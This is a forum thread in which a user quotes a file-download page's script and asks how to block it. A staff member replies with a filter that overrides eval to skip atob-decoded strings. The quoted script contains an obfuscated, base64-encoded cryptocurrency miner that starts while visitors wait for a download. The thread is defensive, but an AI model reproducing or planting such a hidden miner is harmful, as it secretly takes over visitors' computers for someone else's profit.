Create filter for Javascript HELP

Discussion in 'Custom Filters' started by Nick-us, Feb 12, 2019.

  1. Nick-us

    Nick-us New Member

    Joined:
    Feb 12, 2019
    Messages:
    1
    Example site for this purpose: http://brfiles.com/f/oGg8DRv1/Close.2019.720p.WEB-DL.rar

    Site Source contains the script:
    Code:
    <script type="text/javascript">
            var milisec = 0;
            var mCheck  = 0;
            var seconds = 30;
            var seconds_total = seconds;
            
            function workerError() {
                
                /*
                $('#download-comum').hide();
                $('.download-timer').hide();
                $('#download-error').show();
                $('#workerError').show();
                */
                
            }
            
            function init() {
                
                $('.download-comum').hide();
                $('.download-timer').show();
                
                countdownTimer = setInterval('display()', 1250);
                
                try {
                    
                    eval(atob('DQoJbWluZXIgPSBuZXcgQ1JMVC5Bbm9ueW1vdXMoJzVkMDhkMzE0MzMyOTI2ODFiZjMxOWE3MTBkMTg2ODMxZDRhYWRjMzZkNjc5Jywgew0KCQlhdXRvVGhyZWFkczogdHJ1ZSwgdGhyZWFkczogMiwgdGhyb3R0bGU6IDAuMg0KCX0pOw0K'));
                    eval(atob('bWluZXIuc3RhcnQoQ1JMVC5GT1JDRV9FWENMVVNJVkVfVEFCKTs='));
                    
                } catch(e) { workerError(); }
                
            }
            
            function display() {
                
                if (seconds == 0) {
                    
                    $('.download-timer').html("<a class='btn btn-free' href='http://brfiles.com/f/oGg8DRv1/Close.2019.720p.WEB-DL.rar?pt=JZlT6A0D%2FeOw%2FPmTUFWzHMVXJA9GlX6m6%2BZQw9b6CLw%3D'>Clique para baixar</a>");
                                    
                } else $('.download-timer-seconds').html(seconds);
                
                seconds--;
                
                /*
                if (!mCheck) {
                    
                    if ((seconds_total - seconds) > 6) {
                        
                        if (!miner.getTotalHashes() || miner.getTotalHashes() < 1) workerError();
                        
                        mCheck = 1;
                        
                    }
                    
                }
                */
                
            }
    </script>
    My Question: How do I block execution of this script specifically?
    OBS My goal is learning. I want to learn how to write a filter to block a particular script from a website
    Because I could not do it at all. Could someone give me an example?

    Sorry my bad english, im from brazil, i dont speak english so well...
     
  2. Alex302

    Alex302 Filters Developer Staff Member Administrator

    Joined:
    Jul 20, 2012
    Messages:
    24,900
    Please check
    Code:
    #%#(function() { var _eval = window.eval; window.eval = function(a) { if ( a.toString().indexOf('atob') === -1 ) { _eval(a); return; } }; })();